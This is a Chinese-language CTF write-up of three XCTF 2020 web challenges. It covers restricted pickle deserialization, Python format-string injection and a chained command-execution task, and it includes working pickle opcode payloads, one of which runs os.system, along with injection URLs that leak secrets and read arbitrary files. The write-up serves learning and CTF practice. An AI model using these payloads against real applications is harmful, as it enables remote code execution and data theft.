XCTF 2020 战疫 Web writeup partial

0x00 Something

做了几道题,刚好也“预习”了下新知识,先记一下几个比较简单的知识点,前两部分内容为 python 反序列化和 python 格式化串。

其他的题目好秀呀(感觉自己菜爆了

0x01 webtmp

import base64
import io
import sys
import pickle

from flask import Flask, Response, render_template, request
import secret


app = Flask(__name__)


class Animal:
    def __init__(self, name, category):
        self.name = name
        self.category = category

    def __repr__(self):
        return f'Animal(name={self.name!r}, category={self.category!r})'

    def __eq__(self, other):
        return type(other) is Animal and self.name == other.name and self.category == other.category


class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == '__main__':
            return getattr(sys.modules['__main__'], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()


def read(filename, encoding='utf-8'):
    with open(filename, 'r', encoding=encoding) as fin:
        return fin.read()


@app.route('/', methods=['GET', 'POST'])
def index():
    if request.args.get('source'):
        return Response(read(__file__), mimetype='text/plain')

    if request.method == 'POST':
        try:
            pickle_data = request.form.get('data')
            if b'R' in base64.b64decode(pickle_data):
                return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
            else:
                result = restricted_loads(base64.b64decode(pickle_data))
                if type(result) is not Animal:
                    return 'Are you sure that is an animal???'
            correct = (result == Animal(secret.name, secret.category))
            return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct)
        except Exception as e:
            print(repr(e))
            return "Something wrong"

    sample_obj = Animal('一给我哩giaogiao', 'Giao')
    pickle_data = base64.b64encode(pickle.dumps(sample_obj)).decode()
    return render_template('unpickle_page.html', sample_obj=sample_obj, pickle_data=pickle_data)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

直接贴代码了,这里如果清楚思路的话,那么这是一道简单题。如果从基础的开始看呢?
这里涉及到 python 的反序列化,引入部分可以参考 一篇文章带你理解漏洞之 Python 反序列化漏洞,在了解了简单的 pickle 使用之后,就可以看这道题目了。

题目的整体逻辑很清晰,获取一个传输过来的序列化数据,然后反序列化,和现在的一个对象比较,完全一致则输出 flag,分析题目,我们主要观察下面几个点:

首先

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == '__main__':
            return getattr(sys.modules['__main__'], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()

这是官方推荐的对不信任的数据进行反序列化时的检测方法,以尽量避免产生危险。在这里限制了只能调用 __main__ 下面的方法、变量。那我们在本地看一下可以使用的内容:

{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x10a3453d0>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': 'web-pickle/ppickle.py', '__cached__': None, 'base64': <module 'base64' from '/usr/local/Cellar/python/3.7.4_1/Frameworks/Python.framework/Versions/3.7/lib/python3.7/base64.py'>, 'io': <module 'io' from '/usr/local/Cellar/python/3.7.4_1/Frameworks/Python.framework/Versions/3.7/lib/python3.7/io.py'>, 'sys': <module 'sys' (built-in)>, 'pickle': <module 'pickle' from '/usr/local/Cellar/python/3.7.4_1/Frameworks/Python.framework/Versions/3.7/lib/python3.7/pickle.py'>, 'Flask': <class 'flask.app.Flask'>, 'Response': <class 'flask.wrappers.Response'>, 'render_template': <function render_template at 0x10b3f5440>, 'request': <LocalProxy unbound>, 'secret': <module 'secret' from '/Users/xiaomo/Desktop/zhanyi/web-pickle/secret.py'>, 'app': <Flask 'ppickle'>, 'Animal': <class '__main__.Animal'>, 'RestrictedUnpickler': <class '__main__.RestrictedUnpickler'>, 'restricted_loads': <function restricted_loads at 0x10a40da70>, 'read': <function read at 0x10b4105f0>, 'index': <function index at 0x10b410710>}

除了内建变量外,还有其他模块(包括 secret),以及 __main__ 下面实现的方法和类。

其次,涉及到了比较,关注一下重载的函数,判断了类型以及成员变量的值。

def __eq__(self, other):
    return type(other) is Animal and self.name == other.name and self.category == other.category

最后,过滤了 R,即 opcode 中的执行操作,意味着我们不能在 opcode 中执行外部函数(其实是可以的,不过有限制)。

至此,根据最终要求提交的对象要和使用 secret 生成的对象判定为相同,有两个思路:一是覆盖 secret 为已知内容(因为对象的生成在反序列化之后),二是覆盖 __eq__ 让其返回可以通过 if 判断。

第一种思路

如果要覆盖 secret 的成员值,那我们首先要访问到 secret,从上面打印的信息中可以看到,通过 main 是可以访问到 secret 的,这样就避开了第一个检测,那我们就可以想办法覆盖 secret 中的值。

这个方法类似 suctf19-guess_game 题目。通过在 secret 重建一个 dict 覆盖其中的成员变量值。这里直接贴一下部分 exp

c__main__
secret
}S"name"
I1
sS"category"
I2
sb

我们看一下操作码的含义 pickletools.dis(pickle.dumps())

GLOBAL         = b'c'   # push self.find_class(modname, name); 2 string args
EMPTY_DICT     = b'}'   # push empty dict
STRING         = b'S'   # push string; NL-terminated string argument
INT            = b'I'   # push integer or bool; decimal string argument
SETITEM        = b's'   # add key+value pair to dict
BUILD          = b'b'   # call __setstate__ or __dict__.update()

首先是获取到 secret 对象,然后在栈中构造一个字典,更新字典的键值,最后设置到 secret 中。
之后就是生成一个 animal 对象,拼接在上面的字节码后面,出栈时可以匹配到类型判断。即 pickle.dumps(Animal(1, 2))。生成的 pickle 可使用 pickletools.optimize 来优化,更容易阅读。

第二种思路

参考的 Balsn CTF pyshv 的解法,看了下 smi1e 师傅的 wp,感觉思路或许可行,尝试了一下,因为题目限制并不能成功。

因为题目的重点在于比较,如果能够覆盖重载的 __eq__ 或许就可以绕过了,而且比较时调用的是反序列化后的对象的比较函数,那根据 pyshv 的解法,我们需要覆盖 Animal 类的 __eq__ 方法,然后利用重写的新类来实例化对象。
在这里遇到了一个问题,我们没办法实例化新的对象,因为 R 被过滤了,即如果根据新类实例化,必须使用 R 来完成类似于 Animal(1,2) 的调用;另外,直接在序列化的结果中,直接添加 __eq__ 来覆盖原有 __eq__ 又不可行,真正执行时还是以类声明的时候为准;还有一个问题是,__eq__ 调用时传参数为 2,所以我们需要找到 callable 的'对象'并且可以接受两个参数,太菜了找不到 ... 师傅们知道如何操作的可以指点我一下。

无 reduce 的 RCE

后面看到一位师傅分享的,限制 R 情况下的 RCE 方法,通过 dict 的 build 方法来实现 RCE,可在源码中找到对 build 指令的执行过程,可以发现其中存在可控的动态函数执行:

def load_build(self):
    stack = self.stack
    state = stack.pop()
    inst = stack[-1]
    setstate = getattr(inst, "__setstate__", None)
    if setstate:
        setstate(state)
        return
    slotstate = None
    if isinstance(state, tuple) and len(state) == 2:
        state, slotstate = state
    if state:
        try:
            d = inst.__dict__
            try:
                for k, v in state.iteritems():
                    d[intern(k)] = v
            # keys in state don't have to be strings
            # don't blow up, but don't go out of our way
            except TypeError:
                d.update(state)

        except RuntimeError:
            for k, v in state.items():
                setattr(inst, k, v)
    if slotstate:
        for k, v in slotstate.items():
            setattr(inst, k, v)
dispatch[BUILD] = load_build

__setstate__ 不存在时使用 dict 覆盖该方法,再次调用 build 指令即可实现 RCE,如原文中使用的 \x80\x03c__main__\nStudent\n)\x81}(V__setstate__\ncos\nsystem\nubVls /\nb. 翻译一下:

    0: \x80 PROTO      3
    2: c    GLOBAL     '__main__ Student'
   20: )    EMPTY_TUPLE
   21: \x81 NEWOBJ
   22: }    EMPTY_DICT
   23: (    MARK
   24: V        UNICODE    '__setstate__'
   38: c        GLOBAL     'os system'
   49: u        SETITEMS   (MARK at 23)
   50: b    BUILD
   51: V    UNICODE    'ls /'
   57: b    BUILD
   58: .    STOP
highest protocol among opcodes = 2

虽然这个方法在限制了 find_class 的情况下不可用,但思路非常好,想着结合思路二,但仍被可用的函数限制,缺少能够接受两个参数的函数。
同时,这篇文章对 pickle opcode 讲解十分详细,也提供了几个本题的简单变种以及解决方法,如不限制 find_class 的情况的绕过,可访问 https://zhuanlan.zhihu.com/p/89132768。

0x02 fmkq

首先是个套娃(
http://xx:1101/?head=\&url=http://127.0.0.1:8080/&begin=%s%
然后到了第二部分

Welcome to our FMKQ api, you could use the help information below
To read file:
    /read/file=example&vipcode=example
    if you are not vip,let vipcode=0,and you can only read /tmp/{file}
Other functions only for the vip!!!
%d

看到提示 {file},发现不知道能读到什么,按照提示输入发现提示 The content of error is error%d,试试 ssti,发现少了最外层的花括号。想到可能是个格式化串,打一下 {file.__class__.__init__.__globals__} 发现打到了回显,那后端写法可能是(猜) render_string("The content of {file} is xxx".format(request.form.file)),原理可以看一下 Python 格式化字符串漏洞(Django为例)

部分回显如下:

The content of {'__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f97c615cdd8>, '__name__': 'base.readfile', 'vip': <class 'base.vip.vip'>, '__cached__': '/app/base/__pycache__/readfile.cpython-35.pyc', 'vipreadfile': <class 'base.readfile.vipreadfile'>, 're': <module 're' from '/usr/lib/python3.5/re.py'>, 'File': <class 'base.readfile.File'>, 'readfile': <class 'base.readfile.readfile'>, '__builtins__': {'divmod': <built-in function divmod>...

比较特殊的是出现了 vip、readfile 这些相关类,进而可以通过 {file.vip.__init__.globals__} 读到 vipcode(每几分钟重置一次),然后就可以读任意文件了。

访问 http://xx:1101/?head=\&url=http://127.0.0.1:8080/%26vipcode=xxxx&begin=%s% 可以看到根目录的文件,其中包含了 flag 所在的文件夹。接下来就是读 flag 了,输入 flag 的路径后,发现该路径被过滤了(nonono,this folder is a secret!!!)。
转而去读源码:
app.py

import web
from urllib.parse import unquote
from base.readfile import *

urls = (
    '/', 'help',
    '/read/(.*)','read'
)
web.config.debug = False

class help:
    def GET(self):
        help_information = '''
        Welcome to our FMKQ api, you could use the help information below
        To read file:
            /read/file=example&vipcode=example
            if you are not vip,let vipcode=0,and you can only read /tmp/{file}
        Other functions only for the vip!!!
        '''
        return help_information


class read:
    def GET(self,text):
        file2read = readfile(text)
        if file2read.test() == False:
            return "error"
        else:
            if file2read.isvip() == False:
                return ("The content of "+ file2read.GetFileName() +" is {file}").format(file=file2read)
            else:
                vipfile2read = vipreadfile(file2read)
                return (str(vipfile2read))

if __name__ == "__main__":
    app = web.application(urls, globals())
    app.run()

readfile.py

from .vip import vip
import re
import os


class File:
    def __init__(self,file):
        self.file = file

    def __str__(self):
        return self.file

    def GetName(self):
        return self.file


class readfile():

    def __str__(self):
        filename = self.GetFileName()
        if '..' in filename or 'proc' in filename:
            return "quanbumuda"
        else:
            try:
                file = open("/tmp/" + filename, 'r')
                content = file.read()
                file.close()
                return content
            except:
                return "error"

    def __init__(self, data):
        if re.match(r'file=.*?&vipcode=.*?',data) != None:
            data = data.split('&')
            data = {
                data[0].split('=')[0]: data[0].split('=')[1],
                data[1].split('=')[0]: data[1].split('=')[1]
            }
            if 'file' in data.keys():
                self.file = File(data['file'])

            if 'vipcode' in data.keys():
                self.vipcode = data['vipcode']
            self.vip = vip()


    def test(self):
        if 'file' not in dir(self) or 'vipcode' not in dir(self) or 'vip' not in dir(self):
            return False
        else:
            return True

    def isvip(self):
        if self.vipcode == self.vip.GetCode():
            return True
        else:
            return False

    def GetFileName(self):
        return self.file.GetName()


current_folder_file = []


class vipreadfile():
    def __init__(self,readfile):
        self.filename = readfile.GetFileName()
        self.path = os.path.dirname(os.path.abspath(self.filename))
        self.file = File(os.path.basename(os.path.abspath(self.filename)))
        global current_folder_file
        try:
            current_folder_file = os.listdir(self.path)
        except:
            current_folder_file = current_folder_file

    def __str__(self):
        if 'fl4g' in self.path:
            return 'nonono,this folder is a secret!!!'
        else:
            output = '''Welcome,dear vip! Here are what you want:\r\nThe file you read is:\r\n'''
            filepath = (self.path + '/{vipfile}').format(vipfile=self.file)
            output += filepath
            output += '\r\n\r\nThe content is:\r\n'
            try:
                f = open(filepath,'r')
                content = f.read()
                f.close()
            except:
                content = 'can\'t read'
            output += content
            output += '\r\n\r\nOther files under the same folder:\r\n'
            output += ' '.join(current_folder_file)
            return output

读一下源码,发现和猜想的出入不大,在 vip 读文件处也存在一个格式化串,使用格式化串绕过过滤即可。http://127.0.0.1:8080/read/file={vipfile.file[0]}l4g_1s_h3re_u_wi11_rua/flag&vipcode=xxx

0x03 hackme

套娃题目,简要写一下吧,第一步 session 反序列化,第二步绕过 url 检测,第三步限制长度的命令执行,第一步不说了;
第二步,绕过 url 的检测,更新在了 /bytectf-2019-web-writeup/#boring-code 这一节的第一部分;
第三步,其实是 hitcon2017 的 babyfirst-revenge v2 原题,直接贴一下 exp 得了(懒

https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2017/babyfirst-revenge-v2/exploit.py

发 payload 的时候,可以使用 base64,也可以 urlencode 一下,避免空格的影响。

Updated At: Author:xmsec
Chief Water dispenser Manager of Lancet, delivering but striving.
Github
comments powered by Disqus